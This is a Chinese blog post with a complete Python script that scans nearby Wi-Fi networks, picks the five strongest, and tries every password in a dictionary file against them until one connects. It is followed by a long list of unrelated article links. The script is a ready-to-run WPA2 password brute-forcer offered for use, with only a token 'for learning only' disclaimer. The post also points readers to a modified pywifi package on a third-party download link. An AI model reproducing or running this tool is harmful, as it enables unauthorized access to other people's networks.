Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python实现清屏的方法
Apr 30 Python
python从网络读取图片并直接进行处理的方法
May 22 Python
快速解决pandas.read_csv()乱码的问题
Jun 15 Python
selenium+python实现1688网站验证码图片的截取功能
Aug 14 Python
Python如何筛选序列中的元素的方法实现
Jul 15 Python
详解python路径拼接os.path.join()函数的用法
Oct 09 Python
python 实现快速生成连续、随机字母列表
Nov 28 Python
使用PyQt5实现图片查看器的示例代码
Apr 21 Python
python实现批处理文件
Jul 28 Python
手把手教你将Flask应用封装成Docker服务的实现
Aug 19 Python
python实现快速文件格式批量转换的方法
Oct 16 Python
filter使用python3代码进行迭代元素的实例详解
Dec 03 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
支持php4、php5的mysql数据库操作类
2008/01/10 PHP
PHP+Ajax异步带进度条上传文件实例
2016/11/01 PHP
js href的用法
2010/05/13 Javascript
formStorage 基于jquery的一个插件(存储表单中元素的状态到本地)
2012/01/20 Javascript
使用CSS样式position:fixed水平滚动的方法
2014/02/19 Javascript
js限制checkbox选中个数以限制六个为例
2014/07/15 Javascript
jQuery制作效果超棒的手风琴折叠菜单
2015/04/03 Javascript
javascript使用avalon绑定实现checkbox全选
2015/05/06 Javascript
jQuery解决$符号命名冲突
2016/06/18 Javascript
JS如何设置iOS中微信浏览器的title
2016/11/22 Javascript
bootstrap模态框消失问题的解决方法
2016/12/02 Javascript
Bootstrap的Carousel配合dropload.js实现移动端滑动切换图片
2017/03/10 Javascript
Ionic2开发环境搭建教程
2020/08/20 Javascript
详解如何实现一个简单的Node.js脚手架
2017/12/04 Javascript
jQuery内容过滤选择器与子元素过滤选择器用法实例分析
2019/02/20 jQuery
如何从头实现一个node.js的koa框架
2019/06/17 Javascript
Vue实现开心消消乐游戏算法
2019/10/22 Javascript
Js逆向实现滑动验证码图片还原的示例代码
2020/03/10 Javascript
Element InputNumber计数器的使用方法
2020/07/27 Javascript
js前端对于大量数据的展示方式及处理方法
2020/12/02 Javascript
Python编程中归并排序算法的实现步骤详解
2016/05/04 Python
Python爬虫实现抓取京东店铺信息及下载图片功能示例
2018/08/07 Python
python 进程 进程池 进程间通信实现解析
2019/08/23 Python
Python爬虫之爬取淘女郎照片示例详解
2020/07/28 Python
寒假思想汇报
2014/01/10 职场文书
捐款倡议书范文
2014/02/02 职场文书
中国文明网向国旗敬礼寄语大全
2014/09/27 职场文书
解除劳动合同通知书范本
2015/04/16 职场文书
让世界充满爱观后感
2015/06/10 职场文书
2019银行员工个人工作自我鉴定
2019/06/27 职场文书
什么是执行力?9个故事告诉您:成功绝非偶然!
2019/07/05 职场文书
2019通用版劳动合同范本!
2019/07/11 职场文书
深入理解Vue的数据响应式
2021/05/15 Vue.js
解决Navicat for Mysql连接报错1251的问题(连接失败)
2021/05/27 MySQL
python必学知识之文件操作(建议收藏)
2021/05/30 Python
使用 Apache Superset 可视化 ClickHouse 数据的两种方法
2021/07/07 Servers